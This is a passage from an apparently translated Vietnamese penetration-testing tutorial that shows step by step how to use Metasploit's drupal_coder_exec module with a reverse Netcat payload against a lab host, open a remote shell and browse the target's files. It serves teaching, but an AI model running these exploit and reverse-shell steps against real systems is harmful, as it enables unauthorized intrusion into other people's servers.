      Ở đây, chúng ta có ba khai thác khả thi. Chúng ta sẽ thử từng tùy chọn, bắt đầu với tùy chọn đầu tiên, để xem tùy chọn nào sẽ hoạt động chống lại máy mục tiêu của chúng ta. Giống như trước đây, chúng ta sẽ nhập lệnh use để chọn mô-đun đầu tiên và các tùy chọn thích hợp. Sau đó, chúng ta sẽ chạy lệnh show options để xác minh rằng chúng ta đã đặt tất cả các tùy chọn bắt buộc:
    

Use code with caution.

msf6 > use 0
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.1.101
RHOSTS => 192.168.1.101
msf6 exploit(unix/webapp/drupal_coder_exec) > show options

Module options (exploit/unix/webapp/drupal_coder_exec):

Name Current Setting Required Description


Proxies no A proxy chain of format type:host:port[,type:host:port][…]
RHOSTS 192.168.1.101 yes The target host
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /drupal yes The target URI
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description


LHOST 192.168.1.101 yes The listen address
LPORT 4444 yes The listen port

      Bây giờ bạn đã cấu hình mô-đun, hãy sử dụng lệnh exploit để chạy khai thác. Khi khai thác hoàn tất, nó sẽ khởi động và kết nối với shell ngược đang chạy trên máy mục tiêu:
    

Use code with caution.

msf6 exploit(unix/webapp/drupal_coder_exec) > exploit

[] Started reverse TCP handler on 192.168.1.101:4444
[
] Command shell session 3 opened (192.168.1.101:4444 -> 192.168.1.101:47702)

      Khi shell Netcat ngược đang chạy, bạn có thể tương tác với nó bằng cách nhập các lệnh, như bạn làm trong thiết bị đầu cuối Linux thông thường. Giống như trước đây, trước tiên bạn muốn tìm ra ngữ cảnh mà chương trình của bạn đang chạy, vì vậy hãy sử dụng lệnh pwd (in thư mục làm việc) để in thư mục hiện tại:
    

Use code with caution.

pwd
/var/www/html/drupal/sites/all/modules/coder/coder_upgrade
cd ..
ls
CHANGELOG.txt README.txt coder_upgrade.api.php

      Như được hiển thị trong đầu ra này, bạn sẽ không thấy dấu nhắc sau khi trình xử lý kết nối; bạn sẽ chỉ thấy một thông báo cho biết rằng phiên đã được mở. Thử nhập ls để liệt kê nội dung của thư mục. Ở đây, chúng ta thấy rằng nó chứa ba tệp.



Tùy thuộc vào tải trọng, bạn thường sẽ không nhận được dấu nhắc khi Metasploit kết nối với mục tiêu; đừng để bị lừa bởi điều này.


### TỔNG KẾT


Bạn vừa khai thác máy đầu tiên của mình và giành quyền truy cập đầy đủ vào chúng bằng MSFconsole. Xin chúc mừng!



Chúng ta bắt đầu chương này bằng cách đề cập đến những điều cơ bản của việc xâm nhập mục tiêu dựa trên lỗ hổng được phát hiện. Khai thác là về việc xác định các lỗ hổng tiềm ẩn của hệ thống và sử dụng các điểm yếu của nó để giành quyền truy cập. Trong các chương trước, chúng ta đã sử dụng Nmap để xác định các dịch vụ có khả năng dễ bị tấn công. Từ đó, chúng ta đã khởi chạy các khai thác cho phép chúng ta truy cập vào hệ thống.



Trong chương tiếp theo, chúng ta sẽ khám phá Meterpreter chi tiết hơn khi bạn tìm hiểu cách sử dụng nó sau khi khai thác. Bạn sẽ thấy Meterpreter là một công cụ tuyệt vời sau khi bạn đã xâm nhập một hệ thống.
    

Bình luận về bài viết này

Thịnh hành